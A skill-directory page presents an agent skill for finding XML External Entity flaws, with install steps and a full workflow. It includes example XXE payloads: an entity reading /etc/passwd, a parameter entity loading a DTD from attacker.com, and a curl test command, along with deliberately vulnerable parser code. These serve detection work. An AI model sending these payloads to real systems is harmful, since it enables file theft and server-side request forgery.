Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to…
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .claude/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Type this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
skills CLI
$ npx skills add utkusen/sast-skills --skill sast-xxe -a codex
Project install goes to .agents/skills/; add -g for ~/.codex/skills/.
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .agents/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
skills CLI
$ npx skills add utkusen/sast-skills --skill sast-xxe -a cursor
Project install goes to .agents/skills/; add -g for ~/.cursor/skills/.
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .cursor/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
skills CLI
$ npx skills add utkusen/sast-skills --skill sast-xxe -a gemini-cli
Project install goes to .agents/skills/; add -g for ~/.gemini/skills/.
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .gemini/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
GitHub CLI
$ gh skill install utkusen/sast-skills sast-xxe
Installs for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
skills CLI
$ npx skills add utkusen/sast-skills --skill sast-xxe -a github-copilot
Project install goes to .agents/skills/; add -g for ~/.copilot/skills/.
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .github/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
skills CLI
$ npx skills add utkusen/sast-skills --skill sast-xxe -a opencode
OpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
Install the "sast-xxe" agent skill from https://github.com/utkusen/sast-skills/tree/main/sast-files/.agents/skills/sast-xxe into .opencode/skills/sast-xxe/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "sast-xxe", then confirm the skill loads.
OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
Skill name
sast-xxe
GitHub stars
1.3k
Token cost
~7.2k tokens
SKILL.md length
2,516 words
Files
1
Skills in repo
16
Repo updated
First seen
Licence
MIT
At a glance
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to…
Works in 3 steps: Find Vulnerable XML Parsing Sites → Verify — Trace User Input (Batched) → Merge — Consolidate Batch Results
Asked to find XXE
SKILL.md covers What is XXE, Vulnerable vs. Secure Examples, Execution and Important Reminders
Reaches xml.org and apache.org
What it does
Sast Xxe is an agent skill from utkusen/sast-skills. Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
Its SKILL.md is about 7.2k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Static analysis and SAST. It works with Java. The repository describes itself as: Collection of agent skills to find vulnerabilities inside your web/mobile apps. The licence is MIT.
When your agent uses it
Asked to find XXE
XML injection bugs
Example prompts
“/sast-xxe”
Requirements
Python 3
Node.js
Workflow steps
3 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit db52227. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
No scripts in the folder and no shell commands in SKILL.md (its code samples are java, python, php, csharp, javascript, ruby, go and markdown).
From the folder's file list and the shell code blocks in SKILL.md.
Network
Hosts in commands or code, which the agent is likely to contact:
xml.org
apache.org
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Sast Xxe loads about 7.2k tokens when it runs. Until then it costs about 110 tokens; SKILL.md has 2,516 words of instructions outside code blocks.
Always· name and description, kept in context so the agent knows when to use it
~110
When it runs· the whole SKILL.md, loaded when a task matches
~7.2k
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check passed
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
Download SKILL.mdSave it as .claude/skills/sast-xxe/SKILL.md (or your agent's skills folder).
name
sast-xxe
description
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).
Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.
What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.
What XXE IS
XML parsed with external entity resolution enabled by default and no explicit hardening applied
SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd">
DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
Parameter entity injection in DTDs: <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
XInclude injection when XInclude processing is enabled
SSRF via XXE: using http:// or https:// external entity URLs to reach internal services
Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
What XXE is NOT
Do not flag these as XXE:
XSS via XML: XML data rendered as HTML without escaping — that's XSS
SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g. defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)
Patterns That Prevent XXE
When you see these patterns, the parser is likely not vulnerable:
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
Vulnerable vs. Secure Examples
Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
python
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
Python — lxml
python
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
.NET — XmlDocument / XmlTextReader
csharp
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
javascript
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
ruby
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
Go — encoding/xml
go
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
Execution
This skill runs in three phases using subagents. Pass the contents of sast/architecture.md to all subagents as context.
Phase 1: Find Vulnerable XML Parsing Sites
Launch a subagent with the following instructions:
Goal: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to sast/xxe-recon.md.
Context: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.
What to search for — vulnerable XML parsing patterns:
Flag any XML parsing call where there is no adjacent, paired hardening (disabling DTD / external entity features). You are not yet tracing whether the input is user-controlled; that is Phase 2's job.
Python — stdlib parsers (flag unless defusedxml is used as a drop-in):
sax.createStream(...) / sax.parser(...) — check if entity expansion is used
xml2js.parseString(...) — generally safe in v0.5+; flag only if explicitArray or other options suggest an older version or entity expansion is re-enabled
Ruby — flag these when used with options that enable entity expansion:
Nokogiri default usage without noent or other entity-expansion options
Parsing of fully static, bundled, non-user-influenced XML files (e.g. reading config from disk at startup with no user input involved)
Output format — write to sast/xxe-recon.md:
markdown
# XXE Recon: [Project Name]
## Summary
Found [N] XML parsing sites without explicit external entity hardening.
## Vulnerable Parsing Sites
### 1. [Descriptive name — e.g., "lxml.etree.fromstring without resolve_entities=False in upload handler"]
- **File**: `path/to/file.ext` (lines X-Y)
- **Function / endpoint**: [function name or route]
- **Parser / library**: [e.g., lxml etree / Java DocumentBuilder / PHP DOMDocument]
- **Missing hardening**: [what protection is absent — e.g., "resolve_entities not set to False", "disallow-doctype-decl feature not set"]
- **Input variable(s)**: `var_name` — [brief note on what it appears to be, e.g., "HTTP request body" or "file upload content" or "unknown origin"]
- **Code snippet**:
[the XML parsing call and surrounding context]
[Repeat for each site]
Between Phases: Check Recon Results
After Phase 1 completes, read sast/xxe-recon.md. If the summary states zero vulnerable parsing sites were found (or the file contains no entries under "Vulnerable Parsing Sites"), do not launch Phase 2 or Phase 3. Instead, write the following to sast/xxe-results.md, deletesast/xxe-recon.md, and stop:
No vulnerabilities found.
Only proceed to Phase 2 if at least one vulnerable parsing site was identified in the recon output.
Phase 2: Verify — Trace User Input (Batched)
After Phase 1 completes, read sast/xxe-recon.md and split the entries under "Vulnerable Parsing Sites" into batches of up to 3 sites each (use the numbered ### sections: ### 1., ### 2., etc.). Launch one subagent per batch in parallel. Each subagent traces taint only for its assigned sites and writes results to its own batch file.
Batching procedure (you, the orchestrator, do this — not a subagent):
Read sast/xxe-recon.md and count the numbered site sections (### 1., ### 2., etc.).
Divide them into batches of up to 3. For example, 8 sites → 3 batches (1-3, 4-6, 7-8).
For each batch, extract the full text of those site sections from the recon file.
Launch all batch subagents in parallel, passing each one only its assigned sites.
Each subagent writes to sast/xxe-batch-N.md where N is the 1-based batch number.
Identify the project's primary language/framework from sast/architecture.md and select only the matching examples from the "Vulnerable vs. Secure Examples" section above. For example, if the project uses Java with DocumentBuilder, include only the Java-related examples. Include these selected examples in each subagent's instructions where indicated by [TECH-STACK EXAMPLES] below.
Give each batch subagent the following instructions (substitute the batch-specific values):
Goal: For each assigned vulnerable XML parsing site, determine whether a user-supplied value reaches the XML parser. Our goal is to find XXE vulnerabilities. Write results to sast/xxe-batch-[N].md.
Your assigned parsing sites (from the recon phase):
[Paste the full text of the assigned site sections here, preserving the original numbering]
Context: You will be given the project's architecture summary. Use it to understand request entry points, middleware, file upload handlers, and how data flows through the application.
XXE reference — What to look for:
User-controlled XML must not reach a parser that allows external entity resolution without hardening. Trace each site's XML input back to its origin.
For each parsing site, trace the XML input variable(s) backwards to their origin:
Direct user input — the XML content is assigned directly from a request source:
HTTP request body (especially Content-Type: application/xml or text/xml endpoints): request.body, req.body, request.data, php://input, HttpContext.Request.Body
HTTP query params or form fields containing XML snippets
URL path parameters that reference XML resources
Indirect user input — the XML is derived from user input through transformations or intermediate steps:
A file path supplied by the user is used to open and parse a file
A URL supplied by the user is fetched and the response is parsed as XML
User input is embedded into an XML template before parsing (potential injection into the XML structure itself)
Variable passed through helper functions — trace the full call chain
Second-order input — the XML content was stored (e.g., in the DB or filesystem) from a prior user-controlled upload or input, and is now being parsed:
Find where the stored content was originally written — was it user-supplied at that point?
Was it validated or sanitized at write time?
Server-side / hardcoded source — the XML comes from a bundled resource, config file loaded at startup, or server-generated content with no user influence — this site is NOT exploitable as XXE from user input.
For each parsing site, also assess exploitability:
Is the response returned to the caller? (Reflected XXE — attacker can read file contents directly)
Is the response not returned, but side effects are observable? (Blind XXE — exfiltration via DNS/HTTP OOB or error messages)
Is the application behind authentication? (Reduces severity but does not eliminate the vulnerability)
Is the parser used in a context where only specific XML schemas are accepted? (e.g., SOAP envelope validation — still exploitable if DTD processing is on)
Vulnerable vs. Secure examples for this project's tech stack:
[TECH-STACK EXAMPLES]
Classification:
Vulnerable: User input demonstrably reaches the XML parser and the parser has no external entity hardening. Response or out-of-band channel allows exfiltration.
Likely Vulnerable: User input probably reaches the parser (indirect flow), or the parser is unhardened but the exploitation path is partially obscured.
Not Vulnerable: The XML source is fully server-controlled, OR the parser has proper hardening in place (DTD disabled, external entities disabled).
Needs Manual Review: Cannot determine the input source with confidence, or the hardening configuration is complex and requires runtime verification.
Output format — write to sast/xxe-batch-[N].md:
markdown
# XXE Batch [N] Results
## Findings
### [VULNERABLE] Descriptive name
- **File**: `path/to/file.ext` (lines X-Y)
- **Endpoint / function**: [route or function name]
- **Issue**: [e.g., "HTTP request body flows directly into lxml etree.fromstring without resolve_entities=False"]
- **Taint trace**: [Step-by-step from entry point to the parsing call — e.g., "request.body → xml_data → etree.fromstring(xml_data)"]
- **Parser**: [library and version if known]
- **Exploitability**: [Reflected / Blind OOB / DoS only — describe what the attacker can achieve]
- **Impact**: [e.g., "Read arbitrary local files via file:// entity", "SSRF to internal services via http:// entity", "DoS via entity expansion"]
- **Remediation**: [Specific fix — e.g., "Use defusedxml", "Set resolve_entities=False and no_network=True", "Set disallow-doctype-decl feature to true"]
- **Dynamic Test**:
[curl command or payload to confirm the finding.
Show the exact endpoint, Content-Type header, and XXE payload.
Example:
curl -X POST https://app.example.com/api/import -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
Look for /etc/passwd content in the response body.]
### [LIKELY VULNERABLE] Descriptive name
- **File**: `path/to/file.ext` (lines X-Y)
- **Endpoint / function**: [route or function name]
- **Issue**: [e.g., "XML source likely comes from user-uploaded file via helper function" or "Parser unhardened but input path partially unclear"]
- **Taint trace**: [Best-effort trace with the uncertain step identified]
- **Concern**: [Why it's still a risk despite uncertainty]
- **Remediation**: [Apply appropriate parser hardening]
- **Dynamic Test**:
[payload to attempt]
### [NOT VULNERABLE] Descriptive name
- **File**: `path/to/file.ext` (lines X-Y)
- **Endpoint / function**: [route or function name]
- **Reason**: [e.g., "XML is read from a bundled config file at startup with no user influence" or "defusedxml is used as the parser"]
### [NEEDS MANUAL REVIEW] Descriptive name
- **File**: `path/to/file.ext` (lines X-Y)
- **Endpoint / function**: [route or function name]
- **Uncertainty**: [Why the input source or parser configuration could not be determined]
- **Suggestion**: [What to trace manually — e.g., "Follow `load_document()` in xml_utils.py to confirm whether its argument comes from a user request"]
Show full SKILL.md (467 more words)Show less
Phase 3: Merge — Consolidate Batch Results
After all Phase 2 batch subagents complete, read every sast/xxe-batch-*.md file and merge them into a single sast/xxe-results.md. You (the orchestrator) do this directly — no subagent needed.
Merge procedure:
Read all sast/xxe-batch-1.md, sast/xxe-batch-2.md, ... files.
Collect all findings from each batch file and combine them into one list, preserving the original classification and all detail fields.
Count totals across all batches for the executive summary.
Write the merged report to sast/xxe-results.md using this format:
markdown
# XXE Analysis Results: [Project Name]
## Executive Summary
- Parsing sites analyzed: [total across all batches]
- Vulnerable: [N]
- Likely Vulnerable: [N]
- Not Vulnerable: [N]
- Needs Manual Review: [N]
## Findings
[All findings from all batches, grouped by classification:
VULNERABLE first, then LIKELY VULNERABLE, then NEEDS MANUAL REVIEW, then NOT VULNERABLE.
Preserve every field from the batch results exactly as written.]
After writing sast/xxe-results.md, delete all intermediate files: sast/xxe-recon.md and sast/xxe-batch-*.md.
Important Reminders
Read sast/architecture.md and pass its content to all subagents as context.
Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
Phase 3 must run AFTER all Phase 2 batches complete — it depends on all batch outputs.
Batch size is 3 parsing sites per subagent. If there are 1-3 sites total, use a single subagent. If there are 10, use 4 subagents (3+3+3+1).
Launch all batch subagents in parallel — do not run them sequentially.
Each batch subagent receives only its assigned sites' text from the recon file, not the entire recon file. This keeps each subagent's context small and focused.
Phase 1 is purely structural: flag any XML parsing call that lacks explicit external entity hardening, regardless of where the input comes from. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
Phase 2 is purely taint analysis: for each site found in Phase 1, trace the XML input back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
Parser defaults matter: Java DOM/SAX, PHP SimpleXML/DOMDocument, and lxml all resolve external entities by default — they require explicit hardening. Python's defusedxml and Go's encoding/xml are safe by default.
Do not confuse LIBXML_NOENT with protection: in PHP, LIBXML_NOENTexpands entities into their values — it does NOT disable entity loading. Only libxml_disable_entity_loader(true) or LIBXML_NONET provides network-entity protection.
XInclude is a separate vector: if XIncludeAware processing is enabled on Java parsers or xi:include is processed elsewhere, flag it separately — it can read local files without a classic ENTITY declaration.
When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
Taint can flow indirectly: a file upload may be saved to disk in one handler, then parsed in another background job. Trace the full chain including asynchronous processing paths.
Blind XXE (no output in response) is still exploitable via DNS or HTTP callbacks to attacker-controlled servers. Do not dismiss a finding just because the parsed XML is not echoed back.
Clean up intermediate files: after the final sast/xxe-results.md is written, ensure sast/xxe-recon.md and all sast/xxe-batch-*.md files are deleted (on the zero-findings early exit, only sast/xxe-recon.md is deleted).
Sast Xxe next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
Scans a codebase for vulnerabilities with CodeQL's data flow and taint tracking in run-all or important-only modes, including data extensions for project-specific sources and sinks.
Compiles cryptographic code and inspects the assembly or bytecode for variable-time instructions, then triages which flagged operations actually touch secrets.
Detect GraphQL injection vulnerabilities in a codebase using a three-phase approach: recon (confirm GraphQL usage and find unsafe operation document assembly sites), batched verify (trace user input…
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase using a three-phase approach: recon (find candidates), batched verify (check authorization in parallel subagents, 3…
Detect business logic vulnerabilities in a codebase using a three-phase approach: threat modeling (domain analysis and attack scenarios), batched verify (check exploitable gaps in parallel…
Detect insecure file upload vulnerabilities in a codebase using a three-phase approach: discovery (find all upload sites), batched verify (check extension bypass and related issues in parallel…
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to…. Sast Xxe is an agent skill from utkusen/sast-skills. Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results).
When should I use Sast Xxe?
Sast Xxe fits situations like: asked to find XXE; XML injection bugs.
How do I install Sast Xxe in Claude Code?
Run `npx skills add utkusen/sast-skills --skill sast-xxe -a claude-code`. Or copy the skill folder (sast-files/.agents/skills/sast-xxe in utkusen/sast-skills) into .claude/skills/sast-xxe in your project. Claude Code loads it when a task matches its description.
How do I install Sast Xxe in Codex?
Run `npx skills add utkusen/sast-skills --skill sast-xxe -a codex`. Or copy the skill folder (sast-files/.agents/skills/sast-xxe in utkusen/sast-skills) into .agents/skills/sast-xxe in your project. Codex loads it when a task matches its description.
Can I use Sast Xxe in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add utkusen/sast-skills --skill sast-xxe -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/sast-xxe, .gemini/skills/sast-xxe, .github/skills/sast-xxe and .opencode/skills/sast-xxe in your project.
What does Sast Xxe need to run?
SKILL.md names no scripts, command-line tools or credentials: Sast Xxe is instructions for the agent only. Our summary lists: Python 3; Node.js.
Does Sast Xxe access the network?
SKILL.md names 2 domains. In commands or code: xml.org and apache.org; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.
Is Sast Xxe safe to install?
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
What licence does Sast Xxe use?
Sast Xxe is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does Sast Xxe use?
About 7.2k tokens (SKILL.md is roughly 29k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
What are the alternatives to Sast Xxe?
Skills that share tags, products or a category with Sast Xxe: Java API Consistency Validator (ArabelaTso/Skills-4-SE, 253 stars), Nullaway (nwjs/chromium.src, 160 stars), CodeQL Security Scan (trailofbits/skills, 7.5k stars) and Skylos (duriantaco/skylos, 846 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains Sast Xxe?
utkusen (a GitHub user) maintains it in utkusen/sast-skills, which has 1,331 GitHub stars. The repository holds 16 skills in this directory. The repository was last updated on April 8, 2026.
Source: utkusen/sast-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.